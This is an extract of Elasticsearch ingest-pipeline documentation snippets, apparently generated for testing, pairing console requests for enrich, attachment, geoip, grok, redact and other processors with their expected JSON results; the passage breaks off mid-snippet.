{"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":56},"digest":"a3f56fa16c6cc67c2db31a4ba9ca11a7","lang":"console","found":["ruby"],"source":"PUT /_enrich/policy/networks-policy\n{\n \"range\": {\n \"indices\": \"networks\",\n \"match_field\": \"range\",\n \"enrich_fields\": [\"name\", \"department\"]\n }\n}"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":72},"digest":"d8c10fbaa808899f10ce83891437121f","lang":"console","found":[],"source":"POST /_enrich/policy/networks-policy/_execute?wait_for_completion=false"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":91},"digest":"feda4b996ea7004f8b2c5f5007fb717b","lang":"console","found":[],"source":"PUT /_ingest/pipeline/networks_lookup\n{\n \"processors\" : [\n {\n \"enrich\" : {\n \"description\": \"Add 'network' data based on 'ip'\",\n \"policy_name\": \"networks-policy\",\n \"field\" : \"ip\",\n \"target_field\": \"network\",\n \"max_matches\": \"10\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":113},"digest":"43f77ddf1ed8106d4f47a12d39df8e3b","lang":"console","found":[],"source":"PUT /my-index-000001/_doc/my_id?pipeline=networks_lookup\n{\n \"ip\": \"10.100.34.1\"\n}"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":125},"digest":"2ade05fb3fb06a67df25e097dfadb045","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/range-enrich-policy-type-ex.asciidoc","line":133},"digest":"e639802245b170105429c45a270c66fc","lang":"console-result","found":[],"source":"{\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"my_id\",\n \"_version\" : 1,\n \"_seq_no\" : 0,\n \"_primary_term\" : 1,\n \"found\" : true,\n \"_source\" : {\n \"ip\" : \"10.100.34.1\",\n \"network\" : [\n {\n \"name\" : \"production\",\n \"range\" : \"10.100.0.0/16\",\n \"department\" : \"OPS\"\n }\n ]\n }\n}"}, {"source_location":{"file":"ingest/processors.asciidoc","line":19},"digest":"726994d8f3793b86628255a797155a52","lang":"console","found":["ruby"],"source":"GET _nodes/ingest?filter_path=nodes.*.ingest.processors"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":53},"digest":"35fd9549350926f8d57dc1765e2f40d3","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/attachment\n{\n \"description\" : \"Extract attachment information\",\n \"processors\" : [\n {\n \"attachment\" : {\n \"field\" : \"data\",\n \"remove_binary\": false\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id?pipeline=attachment\n{\n \"data\": \"e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=\"\n}\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":76},"digest":"e3c8c2a5e7724b6bef1140849fb034e9","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id\",\n \"_version\": 1,\n \"_seq_no\": 22,\n \"_primary_term\": 1,\n \"_source\": {\n \"data\": \"e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=\",\n \"attachment\": {\n \"content_type\": \"application/rtf\",\n \"language\": \"ro\",\n \"content\": \"Lorem ipsum dolor sit amet\",\n \"content_length\": 28\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":137},"digest":"5ba32ebaa7ee28a339c7693696d305ca","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/attachment\n{\n \"description\" : \"Extract attachment information\",\n \"processors\" : [\n {\n \"attachment\" : {\n \"field\" : \"data\",\n \"properties\": [ \"content\", \"title\" ],\n \"remove_binary\": false\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":165},"digest":"160986f49758f4e8345d183a842f6351","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/cbor-attachment\n{\n \"description\" : \"Extract attachment information\",\n \"processors\" : [\n {\n \"attachment\" : {\n \"field\" : \"data\",\n \"remove_binary\": false\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":219},"digest":"bb5a1319c496acc862c670cc7224e59a","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/attachment\n{\n \"description\" : \"Extract attachment information\",\n \"processors\" : [\n {\n \"attachment\" : {\n \"field\" : \"data\",\n \"indexed_chars\" : 11,\n \"indexed_chars_field\" : \"max_size\",\n \"remove_binary\": false\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id?pipeline=attachment\n{\n \"data\": \"e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=\"\n}\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":244},"digest":"035ff857c736049723fa7d680ef94c88","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id\",\n \"_version\": 1,\n \"_seq_no\": 35,\n \"_primary_term\": 1,\n \"_source\": {\n \"data\": \"e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=\",\n \"attachment\": {\n \"content_type\": \"application/rtf\",\n \"language\": \"is\",\n \"content\": \"Lorem ipsum\",\n \"content_length\": 11\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":267},"digest":"f4d0ef2e0f76babee83d999fe35127f2","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/attachment\n{\n \"description\" : \"Extract attachment information\",\n \"processors\" : [\n {\n \"attachment\" : {\n \"field\" : \"data\",\n \"indexed_chars\" : 11,\n \"indexed_chars_field\" : \"max_size\",\n \"remove_binary\": false\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id_2?pipeline=attachment\n{\n \"data\": \"e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=\",\n \"max_size\": 5\n}\nGET my-index-000001/_doc/my_id_2"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":293},"digest":"2b0d01b32b31235fb620bc052a01f3ee","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id_2\",\n \"_version\": 1,\n \"_seq_no\": 40,\n \"_primary_term\": 1,\n \"_source\": {\n \"data\": \"e1xydGYxXGFuc2kNCkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0DQpccGFyIH0=\",\n \"max_size\": 5,\n \"attachment\": {\n \"content_type\": \"application/rtf\",\n \"language\": \"sl\",\n \"content\": \"Lorem\",\n \"content_length\": 5\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":349},"digest":"b26b5574438e4eaf146b2428bf537c51","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/attachment\n{\n \"description\" : \"Extract attachment information from arrays\",\n \"processors\" : [\n {\n \"foreach\": {\n \"field\": \"attachments\",\n \"processor\": {\n \"attachment\": {\n \"target_field\": \"_ingest._value.attachment\",\n \"field\": \"_ingest._value.data\",\n \"remove_binary\": false\n }\n }\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id?pipeline=attachment\n{\n \"attachments\" : [\n {\n \"filename\" : \"ipsum.txt\",\n \"data\" : \"dGhpcyBpcwpqdXN0IHNvbWUgdGV4dAo=\"\n },\n {\n \"filename\" : \"test.txt\",\n \"data\" : \"VGhpcyBpcyBhIHRlc3QK\"\n }\n ]\n}\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/attachment.asciidoc","line":387},"digest":"37c261a74d786ac939ecb66fa34bc859","lang":"console-result","found":[],"source":"{\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"my_id\",\n \"_version\" : 1,\n \"_seq_no\" : 50,\n \"_primary_term\" : 1,\n \"found\" : true,\n \"_source\" : {\n \"attachments\" : [\n {\n \"filename\" : \"ipsum.txt\",\n \"data\" : \"dGhpcyBpcwpqdXN0IHNvbWUgdGV4dAo=\",\n \"attachment\" : {\n \"content_type\" : \"text/plain; charset=ISO-8859-1\",\n \"language\" : \"en\",\n \"content\" : \"this is\\njust some text\",\n \"content_length\" : 24\n }\n },\n {\n \"filename\" : \"test.txt\",\n \"data\" : \"VGhpcyBpcyBhIHRlc3QK\",\n \"attachment\" : {\n \"content_type\" : \"text/plain; charset=ISO-8859-1\",\n \"language\" : \"en\",\n \"content\" : \"This is a test\",\n \"content_length\" : 16\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"ingest/processors/circle.asciidoc","line":27},"digest":"5c8ac24dd56e85d8f3f6705ec3c6dc32","lang":"console","found":["ruby"],"source":"PUT circles\n{\n \"mappings\": {\n \"properties\": {\n \"circle\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}\n\nPUT _ingest/pipeline/polygonize_circles\n{\n \"description\": \"translate circle to polygon\",\n \"processors\": [\n {\n \"circle\": {\n \"field\": \"circle\",\n \"error_distance\": 28.0,\n \"shape_type\": \"geo_shape\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/circle.asciidoc","line":66},"digest":"b0b1ae9582599f501f3b3ed8a42ea2af","lang":"console","found":["ruby"],"source":"PUT circles/_doc/1?pipeline=polygonize_circles\n{\n \"circle\": \"CIRCLE (30 10 40)\"\n}\n\nGET circles/_doc/1"}, {"source_location":{"file":"ingest/processors/circle.asciidoc","line":79},"digest":"0cec3cd5ad68774be62c362e10bab293","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"circles\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"_seq_no\": 22,\n \"_primary_term\": 1,\n \"_source\": {\n \"circle\": \"POLYGON ((30.000365257263184 10.0, 30.000111397193788 10.00034284530941, 29.999706043744222 10.000213571721195, 29.999706043744222 9.999786428278805, 30.000111397193788 9.99965715469059, 30.000365257263184 10.0))\"\n }\n}"}, {"source_location":{"file":"ingest/processors/circle.asciidoc","line":99},"digest":"415b46bc2b7a7b4dcf9a73ac67ea20e9","lang":"console","found":["ruby"],"source":"PUT circles/_doc/2?pipeline=polygonize_circles\n{\n \"circle\": {\n \"type\": \"circle\",\n \"radius\": \"40m\",\n \"coordinates\": [30, 10]\n }\n}\n\nGET circles/_doc/2"}, {"source_location":{"file":"ingest/processors/circle.asciidoc","line":116},"digest":"0c8975f6497b2f06e68077b613427d41","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"circles\",\n \"_id\": \"2\",\n \"_version\": 1,\n \"_seq_no\": 22,\n \"_primary_term\": 1,\n \"_source\": {\n \"circle\": {\n \"coordinates\": [\n [\n [30.000365257263184, 10.0],\n [30.000111397193788, 10.00034284530941],\n [29.999706043744222, 10.000213571721195],\n [29.999706043744222, 9.999786428278805],\n [30.000111397193788, 9.99965715469059],\n [30.000365257263184, 10.0]\n ]\n ],\n \"type\": \"Polygon\"\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/date-index-name.asciidoc","line":23},"digest":"15e90b82827c8512670820cf856a9c71","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/monthlyindex\n{\n \"description\": \"monthly date-time index naming\",\n \"processors\" : [\n {\n \"date_index_name\" : {\n \"field\" : \"date1\",\n \"index_name_prefix\" : \"my-index-\",\n \"date_rounding\" : \"M\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/date-index-name.asciidoc","line":43},"digest":"672d30eb3af573140d966e88b14814f8","lang":"console","found":["ruby"],"source":"PUT /my-index/_doc/1?pipeline=monthlyindex\n{\n \"date1\" : \"2016-04-25T12:02:01.789Z\"\n}"}, {"source_location":{"file":"ingest/processors/date-index-name.asciidoc","line":52},"digest":"b38c864d92fffbfa2cfc959277688a60","lang":"console-result","found":[],"source":"{\n \"_index\" : \"my-index-2016-04-01\",\n \"_id\" : \"1\",\n \"_version\" : 1,\n \"result\" : \"created\",\n \"_shards\" : {\n \"total\" : 2,\n \"successful\" : 1,\n \"failed\" : 0\n },\n \"_seq_no\" : 55,\n \"_primary_term\" : 1\n}"}, {"source_location":{"file":"ingest/processors/date-index-name.asciidoc","line":78},"digest":"b0ce54ff4fec0b0c712506eb81e633f4","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\" :\n {\n \"description\": \"monthly date-time index naming\",\n \"processors\" : [\n {\n \"date_index_name\" : {\n \"field\" : \"date1\",\n \"index_name_prefix\" : \"my-index-\",\n \"date_rounding\" : \"M\"\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"date1\": \"2016-04-25T12:02:01.789Z\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/date-index-name.asciidoc","line":107},"digest":"73e1b668d0c9578045b7c2f474289a94","lang":"console-result","found":[],"source":"{\n \"docs\" : [\n {\n \"doc\" : {\n \"_id\" : \"_id\",\n \"_index\" : \"\",\n \"_version\" : \"-3\",\n \"_source\" : {\n \"date1\" : \"2016-04-25T12:02:01.789Z\"\n },\n \"_ingest\" : {\n \"timestamp\" : \"2016-11-08T19:43:03.850+0000\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/fingerprint.asciidoc","line":39},"digest":"2f195eeb93229e40c4d8f1a6ab4a358c","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"fingerprint\": {\n \"fields\": [\"user\"]\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"user\": {\n \"last_name\": \"Smith\",\n \"first_name\": \"John\",\n \"date_of_birth\": \"1980-01-15\",\n \"is_active\": true\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/fingerprint.asciidoc","line":69},"digest":"2eff845b4b7bb3743c48e12063f1510f","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n ...\n \"_source\": {\n \"fingerprint\" : \"WbSUPW4zY1PBPehh2AA/sSxiRjw=\",\n \"user\" : {\n \"last_name\" : \"Smith\",\n \"first_name\" : \"John\",\n \"date_of_birth\" : \"1980-01-15\",\n \"is_active\" : true\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":39},"digest":"d547d55efbf75374f6de1f224323bc73","lang":"console","found":["ruby"],"source":"PUT geocells\n{\n \"mappings\": {\n \"properties\": {\n \"geocell\": {\n \"type\": \"geo_shape\"\n }\n }\n }\n}\n\nPUT _ingest/pipeline/geotile2shape\n{\n \"description\": \"translate rectangular z/x/y geotile to bounding box\",\n \"processors\": [\n {\n \"geo_grid\": {\n \"field\": \"geocell\",\n \"tile_type\": \"geotile\"\n }\n }\n ]\n}\n\nPUT _ingest/pipeline/geohex2shape\n{\n \"description\": \"translate H3 cell to polygon\",\n \"processors\": [\n {\n \"geo_grid\": {\n \"field\": \"geocell\",\n \"tile_type\": \"geohex\",\n \"target_format\": \"wkt\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":91},"digest":"b82b156c7b9d1d78054577a6947a6cdd","lang":"console","found":["ruby"],"source":"PUT geocells/_doc/1?pipeline=geotile2shape\n{\n \"geocell\": \"4/8/5\"\n}\n\nGET geocells/_doc/1"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":104},"digest":"d0513d714dc97b297d976ad060ef7993","lang":"console-result","found":[],"source":"{\n \"_index\": \"geocells\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"found\": true,\n \"_source\": {\n \"geocell\": {\n \"type\": \"Envelope\",\n \"coordinates\": [\n [ 0.0, 55.77657301866769 ],\n [ 22.5, 40.979898069620134 ]\n ]\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":134},"digest":"fe825c05e13e8163073166572c7ac97d","lang":"console","found":["ruby"],"source":"PUT geocells/_doc/1?pipeline=geohex2shape\n{\n \"geocell\": \"811fbffffffffff\"\n}\n\nGET geocells/_doc/1"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":147},"digest":"033e8f0f3d7165fe88facbe741847d51","lang":"console-result","found":[],"source":"{\n \"_index\": \"geocells\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"found\": true,\n \"_source\": {\n \"geocell\": \"POLYGON ((1.1885095294564962 49.470279179513454, 2.0265689212828875 45.18424864858389, 7.509948452934623 43.786609335802495, 12.6773177459836 46.40695743262768, 12.345747342333198 50.55427505169064, 6.259687012061477 51.964770150370896, 3.6300085578113794 50.610463307239115, 1.1885095294564962 49.470279179513454))\"\n }\n}"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":174},"digest":"3ee232bcb2281a12b33cd9764ee4081a","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/geohex2shape\n{\n \"description\": \"translate H3 cell to polygon with enriched fields\",\n \"processors\": [\n {\n \"geo_grid\": {\n \"description\": \"Ingest H3 cells like '811fbffffffffff' and create polygons\",\n \"field\": \"geocell\",\n \"tile_type\": \"geohex\",\n \"target_format\": \"wkt\",\n \"target_field\": \"shape\",\n \"parent_field\": \"parent\",\n \"children_field\": \"children\",\n \"non_children_field\": \"nonChildren\",\n \"precision_field\": \"precision\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":199},"digest":"fe825c05e13e8163073166572c7ac97d","lang":"console","found":["ruby"],"source":"PUT geocells/_doc/1?pipeline=geohex2shape\n{\n \"geocell\": \"811fbffffffffff\"\n}\n\nGET geocells/_doc/1"}, {"source_location":{"file":"ingest/processors/geo-grid.asciidoc","line":212},"digest":"f13eddd850279b8ce8fc2be038045b30","lang":"console-result","found":[],"source":"{\n \"_index\": \"geocells\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"found\": true,\n \"_source\": {\n \"parent\": \"801ffffffffffff\",\n \"geocell\": \"811fbffffffffff\",\n \"precision\": 1,\n \"shape\": \"POLYGON ((1.1885095294564962 49.470279179513454, 2.0265689212828875 45.18424864858389, 7.509948452934623 43.786609335802495, 12.6773177459836 46.40695743262768, 12.345747342333198 50.55427505169064, 6.259687012061477 51.964770150370896, 3.6300085578113794 50.610463307239115, 1.1885095294564962 49.470279179513454))\",\n \"children\": [\n \"821f87fffffffff\",\n \"821f8ffffffffff\",\n \"821f97fffffffff\",\n \"821f9ffffffffff\",\n \"821fa7fffffffff\",\n \"821faffffffffff\",\n \"821fb7fffffffff\"\n ],\n \"nonChildren\": [\n \"821ea7fffffffff\",\n \"82186ffffffffff\",\n \"82396ffffffffff\",\n \"821f17fffffffff\",\n \"821e37fffffffff\",\n \"82194ffffffffff\"\n ]\n }\n}"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":71},"digest":"b577e7e7eb5ce9d16cb582356e2cc45c","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/geoip\n{\n \"description\" : \"Add geoip info\",\n \"processors\" : [\n {\n \"geoip\" : {\n \"field\" : \"ip\"\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id?pipeline=geoip\n{\n \"ip\": \"89.160.20.128\"\n}\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":93},"digest":"869c19f696832e5a9b111be7422362a4","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id\",\n \"_version\": 1,\n \"_seq_no\": 55,\n \"_primary_term\": 1,\n \"_source\": {\n \"ip\": \"89.160.20.128\",\n \"geoip\": {\n \"continent_name\": \"Europe\",\n \"country_name\": \"Sweden\",\n \"country_iso_code\": \"SE\",\n \"city_name\" : \"Linköping\",\n \"region_iso_code\" : \"SE-E\",\n \"region_name\" : \"Östergötland County\",\n \"location\": { \"lat\": 58.4167, \"lon\": 15.6167 }\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":122},"digest":"3fab530a2e43807929c0ef3ebf7d268c","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/geoip\n{\n \"description\" : \"Add geoip info\",\n \"processors\" : [\n {\n \"geoip\" : {\n \"field\" : \"ip\",\n \"target_field\" : \"geo\",\n \"database_file\" : \"GeoLite2-Country.mmdb\"\n }\n }\n ]\n}\nPUT my-index-000001/_doc/my_id?pipeline=geoip\n{\n \"ip\": \"89.160.20.128\"\n}\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":146},"digest":"de4d83e1c7456d90c8cfc1b84410cdcf","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_index\": \"my-index-000001\",\n \"_id\": \"my_id\",\n \"_version\": 1,\n \"_seq_no\": 65,\n \"_primary_term\": 1,\n \"_source\": {\n \"ip\": \"89.160.20.128\",\n \"geo\": {\n \"continent_name\": \"Europe\",\n \"country_name\": \"Sweden\",\n \"country_iso_code\": \"SE\"\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":174},"digest":"d3a558ef226e9dccc1c7c61e1167547f","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/geoip\n{\n \"description\" : \"Add geoip info\",\n \"processors\" : [\n {\n \"geoip\" : {\n \"field\" : \"ip\"\n }\n }\n ]\n}\n\nPUT my-index-000001/_doc/my_id?pipeline=geoip\n{\n \"ip\": \"80.231.5.0\"\n}\n\nGET my-index-000001/_doc/my_id"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":198},"digest":"56bbc1c045a4b0a748561ae3ba2afa10","lang":"console-result","found":[],"source":"{\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"my_id\",\n \"_version\" : 1,\n \"_seq_no\" : 71,\n \"_primary_term\": 1,\n \"found\" : true,\n \"_source\" : {\n \"ip\" : \"80.231.5.0\"\n }\n}"}, {"source_location":{"file":"ingest/processors/geoip.asciidoc","line":223},"digest":"0737ebaea33631f001fb3f4226948492","lang":"console","found":["ruby"],"source":"PUT my_ip_locations\n{\n \"mappings\": {\n \"properties\": {\n \"geoip\": {\n \"properties\": {\n \"location\": { \"type\": \"geo_point\" }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":39},"digest":"5024c524a7db0d6bb44c1820007cc5f4","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"description\" : \"...\",\n \"processors\": [\n {\n \"grok\": {\n \"field\": \"message\",\n \"patterns\": [\"%{IP:client} %{WORD:method} %{URIPATHPARAM:request} %{NUMBER:bytes:int} %{NUMBER:duration:double}\"]\n }\n }\n ]\n },\n \"docs\":[\n {\n \"_source\": {\n \"message\": \"55.3.244.1 GET /index.html 15824 0.043\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":66},"digest":"84b528584264ec532d5e0c62bb9014b1","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\" : {\n \"duration\" : 0.043,\n \"request\" : \"/index.html\",\n \"method\" : \"GET\",\n \"bytes\" : 15824,\n \"client\" : \"55.3.244.1\",\n \"message\" : \"55.3.244.1 GET /index.html 15824 0.043\"\n },\n \"_ingest\": {\n \"timestamp\": \"2016-11-08T19:43:03.850+0000\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":132},"digest":"77828fcaecc3f058c48b955928198ff6","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"description\" : \"parse multiple patterns\",\n \"processors\": [\n {\n \"grok\": {\n \"field\": \"message\",\n \"patterns\": [\"%{FAVORITE_DOG:pet}\", \"%{FAVORITE_CAT:pet}\"],\n \"pattern_definitions\" : {\n \"FAVORITE_DOG\" : \"beagle\",\n \"FAVORITE_CAT\" : \"burmese\"\n }\n }\n }\n ]\n},\n\"docs\":[\n {\n \"_source\": {\n \"message\": \"I love burmese cats!\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":163},"digest":"df89a431b424cb7d9efa159d131c9f60","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"message\": \"I love burmese cats!\",\n \"pet\": \"burmese\"\n },\n \"_ingest\": {\n \"timestamp\": \"2016-11-08T19:43:03.850+0000\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":223},"digest":"4eedd2ed509aff45907cb534a548e8d4","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"message\": \"I love burmese cats!\",\n \"pet\": \"burmese\"\n },\n \"_ingest\": {\n \"_grok_match_index\": \"1\",\n \"timestamp\": \"2016-11-08T19:43:03.850+0000\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":258},"digest":"98574a419b6be603a0af8f7f22a92d23","lang":"console","found":["ruby"],"source":"GET _ingest/processor/grok"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":281},"digest":"ed12eeadb4e530b53c4975dadaa06054","lang":"console","found":["ruby"],"source":"GET _ingest/processor/grok?ecs_compatibility=v1"}, {"source_location":{"file":"ingest/processors/grok.asciidoc","line":293},"digest":"dd1a25d821d0c8deaeaa9c8083152a54","lang":"console","found":["ruby"],"source":"GET _ingest/processor/grok?s"}, {"source_location":{"file":"ingest/processors/network-direction.asciidoc","line":66},"digest":"98c1080d8630d3a18d564312300d020f","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"processors\": [\n {\n \"network_direction\": {\n \"internal_networks\": [\"private\"]\n }\n }\n ]\n },\n \"docs\": [\n {\n \"_source\": {\n \"source\": {\n \"ip\": \"128.232.110.120\"\n },\n \"destination\": {\n \"ip\": \"192.168.1.1\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/network-direction.asciidoc","line":96},"digest":"dc8566eafa70f1c92e3cb8665d240cf4","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n ...\n \"_source\": {\n \"destination\": {\n \"ip\": \"192.168.1.1\"\n },\n \"source\": {\n \"ip\": \"128.232.110.120\"\n },\n \"network\": {\n \"direction\": \"inbound\"\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/pipeline.asciidoc","line":36},"digest":"8494d09c39e109a012094eb9d6ec52ac","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/pipelineA\n{\n \"description\" : \"inner pipeline\",\n \"processors\" : [\n {\n \"set\" : {\n \"field\": \"inner_pipeline_set\",\n \"value\": \"inner\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/pipeline.asciidoc","line":54},"digest":"02c48d461536709c3fc8a0e8147c3787","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/pipelineB\n{\n \"description\" : \"outer pipeline\",\n \"processors\" : [\n {\n \"pipeline\" : {\n \"name\": \"pipelineA\"\n }\n },\n {\n \"set\" : {\n \"field\": \"outer_pipeline_set\",\n \"value\": \"outer\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/pipeline.asciidoc","line":79},"digest":"1f900f7178e80051e75d4fd04467cf49","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/1?pipeline=pipelineB\n{\n \"field\": \"value\"\n}"}, {"source_location":{"file":"ingest/processors/pipeline.asciidoc","line":90},"digest":"49f87aa2e5f2e49aa400ca2e346ab9b0","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"_seq_no\": 66,\n \"_primary_term\": 1\n}"}, {"source_location":{"file":"ingest/processors/redact.asciidoc","line":51},"digest":"d003f9110e5a474230abe11f36da9297","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"description\" : \"Hide my IP\",\n \"processors\": [\n {\n \"redact\": {\n \"field\": \"message\",\n \"patterns\": [\"%{IP:client}\"]\n }\n }\n ]\n },\n \"docs\":[\n {\n \"_source\": {\n \"message\": \"55.3.244.1 GET /index.html 15824 0.043\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/redact.asciidoc","line":79},"digest":"e7446d17f4f2c3f8e61e2f5fd9c53ada","lang":"console-result","found":[],"source":"{\n \"docs\": [\n {\n \"doc\": {\n \"_index\": \"_index\",\n \"_id\": \"_id\",\n \"_version\": \"-3\",\n \"_source\": {\n \"message\": \" GET /index.html 15824 0.043\"\n },\n \"_ingest\": {\n \"timestamp\": \"2023-02-01T16:08:39.419056008Z\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ingest/processors/redact.asciidoc","line":108},"digest":"69ab708fe65a75f870223d2289c3d171","lang":"console","found":["ruby"],"source":"POST _ingest/pipeline/_simulate\n{\n \"pipeline\": {\n \"description\": 